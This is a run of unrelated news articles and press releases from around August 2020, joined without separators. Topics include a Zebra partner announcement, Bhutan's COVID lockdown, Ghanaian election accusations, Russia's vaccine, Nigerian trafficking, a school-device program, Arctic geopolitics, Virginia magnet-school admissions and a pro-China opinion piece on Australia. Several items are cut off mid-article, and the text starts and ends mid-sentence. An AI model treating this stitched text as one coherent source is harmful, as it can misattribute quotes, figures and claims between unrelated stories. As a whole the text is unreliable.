mobile workflow and data capture solutions. - Chris Cason, CEO Blue Horseshoe Blue Horseshoe Solutions, a global software and services firm specializing in supply chain and logistics, today announced its participation in Zebra Technologies PartnerConnect program. Adding Zebra Technologies to our service offering helps our customers connect physical assets with digital intelligence, says Chris Cason, CEO at Blue Horseshoe Solutions. With our Zebra Certified Solution Partner designation, Blue Horseshoe is actively co-developing solutions that streamline supply chain processes with mobile workflow and data capture solutions. Blue Horseshoe focuses on helping companies find and use equipment that better manages and expands warehousing and logistics capabilities. This includes Zebra mobile devices, tablets, and other technologies including RFID and asset tracking solutions. Data fuels the modern supply chain, explains Cason. Zebras enterprise-class devices intelligently connect data, people and assets. In addition to improving processes with these devices, Blue Horseshoe shows businesses how they can take that information and turn it into actionable analytics to answer questions, make data-driven decisions, and identify areas of improvement. The PartnerConnect Program is designed to evolve the best of Zebras award-winning inclusive channel ecosystem, addressing the needs of distributors, ISVs and resellers, providing opportunities for growth and meeting customer and market demands. The PartnerConnect program is a global network that provides Blue Horseshoe access to industry-leading solutions, training, and tools that aim to differentiate, offer opportunities for collaboration and help improve customer satisfaction. About Blue Horseshoe At the intersection of data, processes, and people, Blue Horseshoe empowers business transformation where it counts. Blue Horseshoe is a cloud enterprise and supply chain solutions firm based in Carmel, IN. Blue Horseshoe is an award-winning Microsoft Gold Partner with services including system design and implementation, business intelligence and optimization, as well as distribution design and material handling equipment for companies in the Food & Beverage, CPG, Manufacturing, and Transportation industries. For more information, visit Blue Horseshoe at http://www.bhsolutions.com, email info@bhsolutions.com, or call 317.573.2585 By IANS THIMPHU: The Bhutan government has imposed a nationwide lockdown starting from Tuesday after a locally transmitted COVID-19 case was reported. In an address to the nation on Tuesday morning, Prime Minister Lotay Tshering said the positive case was reported in Gelephu town and the female patient had come in close contact with many people in Paro, Thimphu and several other places, reports Xinhua news agency. He said after medication and isolation, the patient was declared recovered. But she tested positive again on Monday after being at home for 15 days. URGENT NOTICE August 11, 2020 Following report of a COVID-19 positive case in Gelephu, who has come in close contact with people in Thimphu, Gelephu and those along the way, the government announces national lockdown starting today. https://t.co/NPEZmQ4ze9 pic.twitter.com/YRM1a2KxR7 PM Bhutan (@PMBhutan) August 10, 2020 During this time, she travelled to different places and visited relatives. From Monday evening to Tuesday morning, health authorities managed to trace 71 contacts who came in close contact with the patient. Lotay said the government is enforcing restrictions on movement of people and vehicles. All schools, institutions, offices and commercial establishments will remain closed, he added. Lotay said that the lockdown has been enforced to identify and isolate all positive cases to immediately break the chain of transmission. The Prime Minister also urged people not to panic and that food supplies will be available at doorsteps. Lotay said the lockdown is expected to last between five days to a maximum of three weeks. As of Tuesday, Bhutan has a total of 113 positive cases. General Secretary of the largest opposition National Democratic Congress (NDC), Johnson Asiedu Nketia has strongly hit back his colleague on the other side of the political divide, John Boadu, describing him as either a bipolar sufferer or just trying to be very economical with the truth. To him, if the New Patriotic Party (NPP) General Secretary had his mental faculties functioning properly, he (John) "will not come and sit on television and be claiming they were sent [alleged Ivorian nationals] by Asiedu Nketia". The ruling party, at a press conference on Monday (yesterday), accused the NDC General Secretary of assisting non-Ghanaians to partake in the just-ended voters registration, ostensibly to exercise their franchise in the December elections. General Secretary of the NPP who addressed the press, alleged that Mr. Asiedu Nketia masterminded the registration of some 66 Ivorians at Banda Kabrono in the Bono Region. Unfortunately for him as they finished registering and were returning, the tyre [of a vehicle they were bussed to the registration centre] got burst and the security agencies were alerted. And they realized that 66 Ivorians had managed to cross the border with the help of Asiedu Nketia to register and vote in the upcoming elections, John Boadu claimed. But speaking in an interview with Kwame Nkrumah Tikesie on Okay FMs 'Ade Akye Abia' program, Asiedu Nketia was beside himself with outrage said he could not fathom why the NPP General Secretary will peddle such falsehoods. "It is either he was badly briefed or he just wanted to engage in a normal political talk that will sway the conversation from their corrupt practices as a government now that the PDS scandal seems to be gaining weight." "Trust me, I will not be derailed into such hogwash discussions.. "For the records, I did not lead any group of Ivorians into the country to register in Banda constituency as propagated by the NPP scribe," he added. He pointed out that even if he would have engaged in any such conduct, he would "have definitely sent them to Tain," his constituency. Meanwhile, the NPP has described the just ended Registration exercise as highly successful and commended the Electoral Commission, political parties, Civil Society groups, security services, the media, and other stakeholders for their efforts. Watch Video Below Source: Isaac Kwame Owusu/Peacefmonline.com/[email protected] Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Scientists and public health officials are skeptical about Russian President Vladimir Putin's claim that the country's potential vaccine for the coronavirus "works quite effectively," saying Tuesday that the vaccine still needs critical testing to determine whether it's safe and effective. Hours earlier, Putin said Russian health officials approved what he said is the first coronavirus vaccine in the world, adding that one of his daughters has already taken it. Clinical trials of the vaccine have been completed in less than two months and phase three trials are set to begin on Wednesday, even as Russia lays out plans for a "massive release" to the public. Russian officials say they hope to soon start immunizing people with the vaccine, which, according to The Wall Street Journal, they've dubbed Sputnik V, named for the world's first satellite, launched in 1957. "As far as I know, a vaccine against a new coronavirus infection has been registered this morning, for the first time in the world," Putin said at a meeting with members of the government, RIA Novosti reported. "Although I know that it works quite effectively, it forms a stable immunity and, I repeat, has passed all the necessary checks," Putin said. Russia's health minister has previously said it plans to roll the vaccine out for public use in October, the Journal reported. Not confident However, medical experts warn that without a large-scale phase three clinical trial, it's really unknown whether the vaccine even works and what potential side effects it could have on the general public. "Phase three trials are critical" for drug and vaccine development, said Daniel Salmon, director of the Institute for Vaccine Safety at Johns Hopkins Bloomberg School of Public Health. "Would I be confident about the safety and effectiveness without a phase three? Absolutely not." Dr. Paul Offit, director of the Vaccine Education Center at Children's Hospital of Philadelphia, said he worries Russia's vaccine approval could pressure the U.S. to deploy a vaccine before it's ready. "It could be a major mistake. It could cause a lot of harm," he told CNBC's "The Exchange," adding Russia's move was a "political stunt." The World Health Organization has said there is no "silver bullet" for the coronavirus, which has infected more than 20 million people worldwide and killed at least 737,000 as of Tuesday, according to data compiled by Johns Hopkins University. Scientists across the globe are racing to develop a safe and effective vaccine for the virus in record time. There are more than 150 vaccines under development worldwide, including Russia's, according to the WHO, with 26 already in human trials. Tough hurdles The vaccine also appears to face a tough hurdle winning approval from the WHO before the international health organization will buy or recommend it to other nations. "You cannot use a vaccine or drugs or medicines without following through all of these stages, having complied with all of these stages," Dr. Jarbas Barbosa, assistant director of WHO's Pan American Health Organization, said at a press conference Tuesday. "Currently WHO is in contact with the regulatory authorities in Russia in order to receive information on this vaccine and only after analyzing all of the information making it possible for WHO to make a recommendation." Developing, testing and reviewing any potential vaccine is a long, complex and expensive endeavor that typically takes months or even years. The fastest-ever vaccine development, for mumps, took more than four years before it was licensed in 1967. Effects on the human body Additionally, scientists caution that questions remain about the short- and long-term effects of the coronavirus on the human body. It was only discovered seven months ago and it hasn't been studied in depth, they say. To be sure, Russia has "phenomenal" scientists and is a powerhouse when it comes to many aspects of science, said infectious disease specialist Isaac Bogoch. Although he has "no doubts" Russia can create a safe and effective vaccine, Bogoch said he was still skeptical. "You can't just start giving a vaccine to the public," said Bogoch, a professor at the University of Toronto. Scientists at Moscow's Gamaleya Institute for Epidemiology and Microbiology used military-style testing, sped up clinical evaluations and took other measures to shorten the time needed to develop and review the vaccine, the Journal reported. Transparent data The shortened review also made U.S. Health and Human Services Secretary Alex Azar wary. "We need transparent data, and it's got to be phase three data that shows that a vaccine is safe and effective," he said in an interview on ABC on Tuesday. "The point is not to be first with a vaccine, the point is to have a vaccine that is safe and effective for the American people and the people of the world." Early stage trials are small, typically testing a drug or vaccine on 20 to 80 healthy volunteers. Phase three trials, which typically randomize who gets the vaccine and who doesn't, can have thousands of participants from different backgrounds and are needed to root out any potential side effects, medical experts say. Drug companies Pfizer and Moderna last month both began late-stage trials for potential coronavirus vaccines, which are both expected to include up to 30,000 participants. Randomized trial needed "The randomization process is critical. There are things you do know, like underlying health status. But then there are things that you don't know that could be a factor, like genetics," Salmon said. "When you randomize the process, it takes care of that. You have a really good comparison group." "If five people have a heart attack in one group, you can compare it to the other group," he added. "Once a vaccine is licensed and used, it's harder to study because it's not randomized." Dr. Scott Gottlieb, a former U.S. Food and Drug Administration commissioner, urged caution about Russia's coronavirus vaccine, telling CNBC on Tuesday he would "certainly not" take it outside of a clinical trial where patients are closely monitored. Questions about safety Chairman, House of Representatives Committee on Diaspora Affairs, Hon. Tolulope Akande-Sadipe K. has called on the Federal Government to urgently put a stop to the exploitation of Nigerians abroad. She pointed out that Federal Ministry of Labour and Employment, under the supervision of Dr. Chris Ngige has violated the law and has continued to issue International Recruiters Licenses to Agents, despite Federal Governments 2017 moratorium. Hon. Akande Sadipe said this on Monday while responding to questions from journalists, lamenting that Nigeria has no Bilateral Labour Agreement with any nation and the execution of the Standing Operating Procedure (SOP) has been lingering. She said, Federal Government placed a moratorium on issuance of International Recruiters License in September 2017 and yet the Ministry of Labour and Productivity as at January 2020 was still issuing international recruiters licenses. She added that many Nations in the Middle East and even within Africa were violating the rights of our citizens under the guise of domestic servitude. The Oluyole Federal Constituency Representative, said Eighty thousand Nigerian girls are currently held as sex slaves, and forced labour in Mali, across Middle East Nations:- with Lebanon, Saudi Arabia UAE and Oman top on the list. The question we must ask is How they got there? we have called out Immigration but then again Ministry of Labour is also complicit, she said. She pointed out that, These agents collect $1000 plus the first 3 to 6 months salaries of the girls and abandon them to their plight in the foreign nations. The trafficked girls unfortunately are ignorant of the ills they may face abroad and are lured by the agents, because they seek a better life. Akande-Sadipe also revealed that these agents lie to the ladies about the jobs waiting for them in foreign lands, urging Nigerians to move away from the perception that the girls left this shores to prostitute. She however decried the Minister of Labour and Employments refusal to appear before the Committee after four invitations, adding that the Ministry also refused to submit the requested information. She added that information submitted earlier by the Ministry of Labour and Productivity, was inconsistent compared to the relevant records of other Federal Government Agencies, such as Corporate Affairs Commission, Nigeria Social Insurance Trust Fund and Federal Inland Revenue Service. In addition the Ministry has not been complying with laid down policies and procedures for international recruitment. For example, Agents pre-licensing procedures contravened the requirements of doing business with Federal government MDAs, she added. The Ministry did not conduct the mandatory pre-departure counselling; had no records of the annual reporting requirements mandated to Agents, which should provide information on the whereabouts of each Nigerian recruited, compensation and contact details, she disclosed. Hon. Akande-Sadipe further stated that the Permanent Secretary, Ministry of Labour and Employment, Mr. William Alo and two of his lieutenants lied under oath to the Diaspora Committee. It is disheartening that the Federal Ministry of Labour and Employment, the Permanent Secretary and those who came with him gave the Committee false information, she said. This issue of human trafficking has reached pandemic levels and the appeals for help circulating across social media is an embarrassment to our Nation. She therefore appealed to President Muhammadu Buhari to initiate an Executive investigation into the activities of Labour and Productivity. She also urged Mr. President to empower National Agency for the Prohibition of Trafficking in Persons, adding that this would enable them achieve their mandate to apprehend and prosecute these Agents and to review the activities and funding of Foreign Missions to enable them meet their responsibilities to Nigerians across the world. Olamilekan Olusada, S.A Media & Publicity Working together to serve Detroit Public Schools, the two Atlanta-based companies will deliver 1:1 remote learning capabilities for 22,000 K-12 students across 12 different districts just in time for the start of the 2020 back-to-school season. Students will receive a Chromebook (and accessories) configured with G Suite for Education and carrier-activated hotspots upon request. The devices will also be outfitted with Bark's online monitoring and filtering tools powered by its sophisticated AI to help keep students safe. The program includes ongoing repair and support for students and their devices. "Given the current circumstances, the rollout of this program is dire as it will pave a brighter path for our students, teachers, and administrators," says Christine Burkette, former CIO of the Detroit Public Schools Community District and current CEO of PICF, Inc. "The ability to deploy devices and Wi-Fi connectivity along with added security and support features at scale is invaluable. It will allow our students to succeed in our new normal and close the digital divide in our school districts across the state of Michigan." While some districts remain unsure about whether their schools will open their doors in the fall, equipping students with both devices and support helps level the playing field for even the most economically vulnerable of students. "With many schools extending distance learning into the fall and beyond, there has never been a greater need for added safety measures online," said Bark founder and CEO Brian Bason. "Now, through our partnership with Stratix, we are not only working to bridge the digital divide by providing fully-loaded devices and tech support to students in need, but we are adding a critical level of protection for these students no matter where they learn." The Detroit Public Schools pilot program is slated to be the first of many serviced by the StratixBark partnership with the goal of providing students with the essential, protected devices and support needed for distance learning. Nationwide, only 24% of public school teachers reported that all of their students had access to a computer or tablet to use for schoolwork. The new program will help narrow this gap while offering schools value-added device support, security, and logistics services to ensure continuity in education. "Stratix has deep knowledge of the issues facing schools, educators and administrators, and students and their families, along with a genuine passion to help," said Louis Alterman, CEO of Stratix. "Alongside Bark Technologies, we provide a sustainable solution to close the digital divide, enabling all students to work safely and have the support they need for remote learning on their mobile devices. This 360-degree program holistically covers students experiencing the transition to virtual learning, now and looking beyond the pandemic." For more information about Stratix's SmartMobile Education Technology program, visit: https://www.stratixcorp.com/education. For more information on how schools can use Bark for Schools, visit: www.bark.us/stratix . About Stratix Corporation As the largest pure-play enterprise mobility specialist in the U.S., Stratix is dedicated to guaranteeing nonstop mobility. The company leverages 35+ years of expertise and experience to accelerate and inspire business mobility transformation for some of the world's most iconic brands. Their SmartMobile programs ensure each client has the right technology, tools, and support programs in place to stay ahead. For additional information, visit www.stratixcorp.com. About Bark Bark helps families manage and protect their children's digital lives. The award-winning service monitors 30+ of the most popular apps and social media platforms for signs of issues like cyberbullying, suicidal ideation, online predators, threats of violence, and more while web filtering and screen time management tools empower families to set healthy limits around the websites and apps their kids can access and when they can visit them. After the tragic shooting in Parkland, Florida, Bark extended its suite of online safety services to all K-12 public and private schools in the U.S. at no cost to them or their communities and is trusted by more than 2,300 school districts nationwide. For additional information, visit www.bark.us. SOURCE Bark Technologies Related Links bark.us HelpAge International Vietnams ISHC model embraces and support older peoples livelihoods in the region HelpAge International in Vietnam has won the grand prize of The Healthy Ageing Prize for Asian Innovation (HAPI). What does the award mean to HelpAge? The HAPI grand prize is the result of over 10 years of accumulative efforts from HelpAge, local partners, especially Vietnam Association of the Elderly (VAE), thousands of Intergenerational Self-Help Clubs (ISHC) in the country and our strategic partners and donors in this model - HelpAge Korea and KOICA. The prize helps us be more confident in what we are doing and makes us willing to share it with others. Over the past 10 years, our model has seen many interventions that promote healthy longevity among older people such as promoting increased self-care; physical exercise, social and cultural exchanges, and volunteering among its members; promoting life-long learning through monthly informal trainings; providing volunteer-based community care services; and addressing social determinants of health through income generation activities. Together with our regional office, we have already shared Vietnams ISHC model to many practitioners in the region and beyond, such as providing training to more than 150 international development practitioners, organising a large number of study tours for international guests, translating and sharing our ISHC training materials to many countries. Our regional office also provided support for local partners in Bangladesh, Cambodia, and Indonesia to adapt and pilot ISHC model. Over the past five months, the ISHCs have shown to be very effective in responding to the COVID-19 pandemic. ISHCs are the first responders by providing information, obtaining donations, and distributing relief supplies such as food, and more. Moreover, our ISHCs also provide comprehensive community-based care services and psychological support to those most in need, while supporting local community leaders and authorities with volunteers and donations. What are the advantages and hurdles in developing the ISHC model in Vietnam, and are there any international lessons that HelpAge International in Vietnam learnt from? Vietnams ISHC development model has many advantages thanks to a strong sense of neighbourhood; large national organisations like VAE that focus on ageing and cover the entire country; increasing interest on ageing especially from the government; a stable economic and political situation; and various national policies on ageing such as the Law for the Elderly and the National Plan of Action on Ageing. However, Vietnams ISHC development model has also met some hurdles because of reduced international funding for the country as it is no longer a low-income one. Moreover, government policies that allow or promote funding to fully establish the ISHC network are still limited, while the support of various sectors to ISHCs is poor. The model initially developed based on many positive and negative learnings from international examples, such as the change from a donor- or organisation-driven to a people-driven focus. We now know that it is important to help the ISHC model to become both technically and financially sustainable, while not relying on donors and focusing solely on a community-driven development approach. By 2050, East and Southeast Asia are expected to have double the number of people aged 65 or over compared to today. What are HelpAge Internationals next plans to contribute to Vietnams efforts? Currently, older people in Vietnam often face a variety of problems such as low income, limited social participation, poor health, and ageism the negative perception of older people. In fact, most older people are still active and able to take care of themselves and could even become care providers for those in need as well as play an important role in their family and communities. The key is how to respond to rapid ageing and how to transform the challenges of rapid ageing into opportunities. Therefore, we aim to support the country to improve the systems and environments to be age inclusive and responsive, building a social security system, a holistic health and care system, and a generally age-friendly environment. HelpAge International sees that, with proper investment, older people can actually become a huge resource to support the sustainable development of the country. HelpAge will continue to cooperate with local partners to seek both national and international funding to support Vietnam and scale up our ISHC model. We and VAE will also advocate the Vietnamese government to open other local funding channels that can be used to establish more ISHCs nationally, while increasing key players capacity to establish and strengthen the network further. Also importantly, we continue to raise awareness on issues of older people and ageing, and provide technical support to government agencies in developing more good policies. Del. Nick Freitas, R-Culpeper, is putting his military service and family values at the forefront of his first television ads in his campaign for Virginias 7th District seat in Congress, a crucial race in Republicans effort to regain control of the U.S. House of Representatives. Freitas, who will turn 41 on Aug. 29, began airing two television ads on Tuesday in his campaign to reclaim the 7th District seat for Republicans from U.S. Rep. Abigail Spanberger, a Democrat who defeated Rep. David Brat two years ago as part of a Democratic takeover of the House. The two 60-second ads begin with photographs of his parents his father a police officer and his mother a nurse and focus on his call to military service as a member of the U.S. Army Special Forces. They also feature his wife, Tina, who lost to state Sen. Emmett Hanger, R-Augusta, in the Republican primary for the state Senate seat last year. When I went off to war, that wasnt just my service, it was my familys service, Freitas says in one ad, called Service, over photographs and video of his children that his wife sent him while he was deployed in the Iraq War. Tuesday, August 11, 2020 Tyler Mongan,a member of our Emerging Fellowsprogram detects the milestones that likely shape the futures of the Arctic region in his eighthblog post. The views expressed are those of the author and not necessarily thoseof the APF or its other members. There are some key milestones that can serve as guideposts for determining anations success in the Arctic region as they move from the baseline to thepreferred future. One of the key milestones for Russia would be 5-10% of shipping rerouted throughthe NSR. This will diversify Russias economy and increase their control in theregion. A pathway to that metric requires a consistent trend of melting ice inthe region, which will support an increase in investor confidence in commercialoperations. It is predicted that an ice free Arctic could occur between 2030 and2040. Ice is melting faster along the Northern Sea Route than other parts of theArctic. If this trend continues we will see more investor confidence in Russiantransportation infrastructure and natural resource extraction. Althoughunlikely, another key milestone to look for would be a move to approve anextension of Russias EEZ all the way to the center of the high north. One of the key milestones for Chinas success in the region is an increase inChinese yuan flowing into the region. China has already invested billions intothe region to support the development of a Polar Silk Road. The flow of yuaninto the region will be supported through bilateral partnerships. Some of thebiggest financial investments have occurred in Iceland, Greenland, Norway and,to a large extent, Russia. A diversity of long-term bilateral agreements willsecure Chinas place in the region as a near-arctic state. As Chinese moneyincreases its flow into the Arctic, China will become more deeply embedded inthe geopolitics of the region. Another sign that there is a trend towardsreaching this milestone is an increase in Chinese shipping and icebreakeractivity in the region supported by its satellite technology. Akey milestone to look for that supports US success is a reversal of climatechange and a decrease of melting ice in the region. This would hamper Russianand Chinese developments, while also reducing the need for a stronger ArcticCouncil. This would also maintain the secure ice wall between Russia and the US,blocking a transpolar route. Akey milestone for European Nations would be a strong Arctic Council to increasethe capacity and capability to create legally binding agreements in the region.The path to this milestone might require an increase in multilateral cooperationto keep the Arctic open, sustainable and demilitarized. This milestone couldalso be inspired by increase conflict over EEZ, fisheries, and strategicmilitary developments. To prevent these conflicts from escalating, the Europeannations might demand stronger governance in the region. A key milestone for Canadian success would be for the United Nations Conventionon the Law of the Sea (UNCLOS) to confirm recognition of the outer limits of thecontinental shelf in the Arctic Ocean. While Canada supports an open andcooperative Arctic, it also wants to maintain sovereignty in the region. Canadaaligns with the European Nations, supporting sustainable and environmentallyfriendly economic developments. These aligned goals could increase support for afavorable UNCLOS ruling and if a stronger Arctic Council develops it could alsomove to recognize Canadas desired future. As nations strive for their preferred futures in the Arctic, not all thesemilestones will be reached. There will be a dynamic balance of powers throughtrade-offs, negotiations, and strategic conflicts. It will be difficult todefine which nations are winning and which nations are losing. Tyler Mongan 2020 Duckworth personally interviewed with Biden during the final days of the selection process, according to a source familiar with the vetting process who was not authorized to speak publicly. Biden also called Duckworth on Tuesday afternoon to inform her that he had selected Harris before he made the news public, the source said. Duckworth was not available for an interview Tuesday. FALLS CHURCH, Va. - Virginias Thomas Jefferson High School for Science and Technology regularly finds itself at the very top of national rankings, an elite public school in the suburbs of the nations capital for which families start preparing their children as early as kindergarten. For decades, though, Black and Hispanic students have made up just a tiny fraction of the schools student body. That may be changing soon, as Virginia officials prepare plans to dramatically alter the admissions policy at TJ and 18 other gifted high schools across the state. The lack of diversity in gifted education is a nationwide problem, one that officials in many states are now seeking to change at a time of heightened awareness of racial inequality after the death of George Floyd in Minneapolis and the Black Lives Matter protests. At the elite Stuyvesant magnet high school in New York City, for example, diversity proponents want to change a system whose sole determinant of admission is a standardized test. But not everyone is in favour. Some parents and alumni of magnet schools say they are worried the changes will entail relaxing admissions standards and lowering the schools quality. Virginia Education Secretary Atif Qarni has been leading a task force impaneled by Democratic Gov. Ralph Northam to examine ways to increase diversity at Thomas Jefferson and the other Governors Schools. He expects the task force could produce recommended changes to the schools admissions policies as soon as Thursday. Its certainly not a difficult problem to fix, Qarni said. The problem has been a lack of political will. The problem is most pronounced at the states two biggest governors schools, TJ and the Maggie Walker Governors School in Richmond. Out of roughly 1,300 students at TJ, only 31 are Black and 47 Hispanic less than 2% and 3%, respectively. At Maggie Walker, Blacks make up about 7% of the student body, even though the Richmond-area population it serves has a much larger African-American population. Three proposals are under consideration. In the first, instead of taking the top 400 applicants for a freshman class, all applicants who achieve a certain score would be entered into a lottery. Another plan would guarantee a certain number of slots for students at each of the middle schools that feed into a governors school, ensuring geographic, and most likely, racial diversity, Qarni said. He said similar plans elsewhere have been shown to increase diversity. Some parents, though, are fierce defenders of the current admission system, and worry that changes will result in a dumbing-down of the schools. Ultimately theyre race-based policies, Asra Nomani, a member of a newly formed parents group Coalition for TJ, said of the recommendations floated by Qarni. Theyre not saying it but theyre making it race-based. She said TJs hallmark grueling math curriculum and other programs would be diluted if admissions standards are relaxed. You cannot lower the standards of admission without lowering the standards of the curriculum, she said. She also pointed out that more than 70% of TJs student body is Asian American, including many from immigrant families. Many families take extraordinary early steps to get into TJ. Principal Ann Bonitatibus told the task force that some overseas elementary and middle schools even market themselves on their ability to prepare kids for the magnet school. Sean Nguyen, 16, a TJ rising senior and student government association member, said the school is badly in need of increased diversity. TJ is certainly a bubble, and its a cultural bubble as well, he said. Still, he said he and other students dont agree with the task forces proposals. He said that instead of modifying the schools standards, educators at the earliest grade levels should start ensuring that Black and Hispanic students are included in gifted programs that would set them on a course to qualify for magnet high school admission later on. Maggie Walker alumna Rasheeda Creighton agreed that the pipeline problems are serious but says change needs to happen now. She has been leading an effort to reform the admissions process there to expand opportunities for Black and minority students. She said she supports the task forces work and that other alumni are absolutely activated and motivated to create change. The climate of the country right now is grasping the need for the change, the need for social justice, she said. Task force member and Fairfax County Public Schools Superintendent Scott Brabrand told the Fairfax County NAACP on Thursday that he expects the school board to take up changes to TJs admission in coming months and seek solutions, not 20 years of status quo where we have tried to do something but weve nibbled around the edges and it has not made a major change. He said the current system is unfair, with too much emphasis placed on an admissions test around which an entire cottage industry of test preparation has sprouted. If you have test prep access, you have a big leg up, Brabrand said. Another member of the task force, Democratic state Sen. Scott Surovell, said hes optimistic the legislature will take up the issue given the current social climate, though he knows the difficulty of changing the status quo. Legislation he introduced in 2018 to address the admission issue at TJ failed to get out of committee. Ontario reported just 33 new cases of COVID-19 on Tuesday. Thats the lowest number since March 18, one day after the province was plunged into a pandemic state of emergency that lasted until July 24. There were no coronavirus deaths reported for the second day in a row. The good news is we see the number of cases declining across the province, Premier Doug Ford said Tuesday. But we cant take our eye off the ball for a second, said Ford, who is wary of a second wave of COVID-19 overwhelming hospitals this fall. Health Minister Christine Elliott said the low number includes routine data cleanup by Toronto Public Health, which removed 21 cases, such as duplicates, that had previously been included in daily case counts. Elliott said the province processed 21,581 tests on Monday. There are 60 people in Ontario hospitals with COVID-19 with 21 in intensive care units. Of those, 12 are on ventilators. We continue to see a persistent decline in the number of active cases in the province, the minister said. The province has officially reported 2,786 deaths from COVID-19. But a Star tally of Ontarios regional health units has determined there have been 2,825 deaths. The discrepancy of 39 additional fatalities is because earlier in the pandemic COVID-19 tests had not been conducted on some elderly long-term-care home residents who died from the virus. All of Ontario will be in Stage 3 of reopening as of Wednesday, permitting indoor service at bars and restaurants, workouts at gyms, and use of outdoor playground equipment. After midnight Tuesday, Windsor-Essex will be the last region of the province to open up. Ford has emphasized the need for continued vigilance so the encouraging trends continue. Stay on our guard against COVID-19, practice physical distancing, wear a mask when required, wash your hands frequently, he said Monday. And dont forget to download the COVID-19 Alert app, he said of the federal contact-tracing app that uses Bluetooth technology to alert people that they have been in contact with someone who has the virus. Read more about: The Nationals have demanded changes to the Morrison government's university funding overhaul, labelling the package deficient and warning it could exacerbate rural inequality. Following a meeting of Nationals MPs on Monday, Regional Education Minister Andrew Gee called for a suite of changes, including a halt to price rises for studies in mental health and social work. Nationals frontbencher Andrew Gee (left), pictured with Prime Minister Scott Morrison, has warned of deficiencies and dangers in the government's university funding overhaul. Credit:Wolter Peeters Under changes to higher education funding announced in June, fees for some courses will soar while others will be slashed in a bid to produce graduates for high-priority employment areas. Mr Gee, a Nationals MP, on Tuesday said the package in its current form would "further increase the mal-distribution of mental health workers in country Australia" by putting social work, behavioural science and mental health courses in the most expensive fee cluster. NAIROBI, Kenya At least 81 people were killed and dozens others injured in South Sudan over the weekend as an operation to seize weapons from civilians got underway, the authorities and a network of civil society organizations said on Tuesday. The clashes showed how the worlds youngest nation has continued to grapple with deadly violence as it tries to emerge from a punishing civil war. The efforts to disarm communities in South Sudan is an attempt by the authorities to tackle insecurity and stem retaliatory attacks in a country fractured along ethnic lines. But aid groups had cautioned that the top down approach, instigated by a government viewed with suspicion by many in the country, was likely to fuel clashes. The warnings proved prescient. Around 55 members of the security forces and 26 civilians were killed in separate attacks that took place in the county of Tonj East in the north-central state of Warrap, Maj. Gen. Lul Ruai Koang, a spokesman for the South Sudanese Army, said. Elle (Joey King) got a new man in her life in Kissing Booth 2. Taylor Zakhar Perez played Marco and it didnt take long for there to be a rumor claiming hes dating King. Perez said this is interesting and talked more about their friendship. Joey King and Taylor Zakhar Perez are rumored to be dating King returned to her character of Elle Evans in the sequel. This time Elle and Noah (Jacob Elordi) were separated as he was away at college. She crosses paths with Marco and they grow closer. Fans noticed the actors were pretty close too by posting pictures together on Instagram. Perez wrote a touching caption to celebrate her birthday. Honestly I could write about this woman all day. She is the reason I joined the KB2 family, she welcomed me with open arms and love, she supported me, she pushed me, she made me laugh (like pee my pants laughter and had to check my underwear), she inspired me to be a bettter actor, she shared her family with me, THE LIST GOES ON. Grateful for you forever. #tbt, he wrote. King commented on the post with, Cant imagine my life without you. I heart you T. King said the dating rumor is interesting Joey King as Elle and Taylor Zakhar Perez as Marco in The Kissing Booth 2 | Marcos Cruz/Netflix The actor talked about his friendship with King again. He also reacted to the rumor theyre dating. We were quarantine buddies so I would see [King] all the time because we lived five minutes away from each other, Perez said on the podcast, Chicks in The Office. We know what our relationship is, we love each other dearly. He then addressed the reactions to their friendship. Its been interesting how everyone has been trying to make something out of it but its fine, Perez said. I mean, hey, I would love to be dating Joey King, shes dope. Perez said hed date a friend. Im a huge fan of dating your friend, someone that you know and you trust because thats where it all starts right, he explained. For me, non-sexual intimacy is so much more important to me at first. Im all about the sensitive stuff. King previously dated Elordi in 2018. They broke up a few months later. That means they had to work together on the sequels after their breakup. Theyll be in Kissing Booth 3 King and Elordi will be starring in Kissing Booth 3, which will be released on Valentines Day in 2021. Perez reportedly will be in the third movie. The movie was filmed in L.A. and South Africa. Perez talked about getting closer to Elordi during that time. We just kind of hit it off, he told ET Online. When we were in South Africa, we had dinner together. I cooked for her, she cooked for me. We just became kind of like the best of friends. It sounds like the actors have a very tight friendship. Perez said hed love to be dating King but fans will have to wait to see if thatll actually happen. Australian Prime Minister Scott Morrison attends a press conference at Parliament House in Canberra, Australia, on Dec, 5, 2019. (Xinhua/Bai Xu) By Yu Lei This year, Australia is busy initiating provocations and coming on the heel of the US. It participated in Exercise Malabar, a trilateral naval exercise involving the United States, Japan, and India; it launched a new version of the defense budget of huge amount for the next decade; and recently, the country agreed with the US at the AustraliaUS Ministerial Consultations (AUSMIN) to strengthen military cooperation in the Indo-Pacific region. Some Australian politicians pointed out with concerns that the regional tensions provoked by the US and Australia in such a way may spark an accidental conflict or even a hot war. In fact, Australia reaped no benefits by following the US in supporting various wars' after World War II. In the Vietnam War, Australia suffered huge losses of human lives, properties, and materials, as well as social cleavages. After the war, it fell into an economic slump for a long time with an extremely high rate of unemployment. In this regard, Lee Kuan Yew, former prime minister of Singapore, famously warned in 1980 that Australia was destined to become the "poor white trash of Asia" at the turn of the century. However, Australia has been lucky. The rapid growth of Chinas economy in the 1980s and 1990s was a great boon for Australia, as the emerging power helped consume excess of Australia's sources like iron ore, coal and natural gas. Meanwhile, Chinas development has served to promote Australias tourism, education of overseas students and other smokeless industries, driving Australia into an unprecedented period of economic prosperity for more than 30 years. Witnessing the peace dividend from win-win cooperation and the cruelty or killings in wars, some Australian politicians who have gone through wars and are of strategic thinking, including Bob Hawke, Paul Keating, John Howard, etc., welcomed the peaceful rise of China and actively participated in the building of organizations aiming to promote the integration of the Asia-Pacific region through the Asia-Pacific Economic Cooperation (APEC) and other organizations. Australias former prime ministers, including Kevin Rudd, Julia Gillard, and Tony Abbott, once pushed China-Australia relations from "trade partnership" to "strategic partnership" and "comprehensive strategic partnership". Scott Morrison, Australias incumbent Prime Minister, verbally stated that he "welcomes the rise of China". However, in practice, he has significantly increased military expenditures and provided conditions for the US to expand the scale of troops stationed and armament deployment in the Indo-Pacific region. In fact, when meeting with George Walker Bush, the then US President, in 2005, John Howard, the then prime minister of Australia, pointed out that Australia welcomes the rise of China and seriously stated that a policy of containing China was both irresponsible and dangerous. He also pointed out that the promotion of modernization construction of national defense in China was but to safeguard its own growing interests. Many people with wisdom and foresight in Australia have pointed out that if it is to safeguard its self-interest and beyond, Australia should not slavishly follow the US. Instead, Australia has to work with China, a "peaceful force", to find a way to maintain regional peace and stability. As an old US ally, Australia may inevitably face pressure from Washington when carrying out any independent operations. However, learning to "make new friends while keeping time-honored 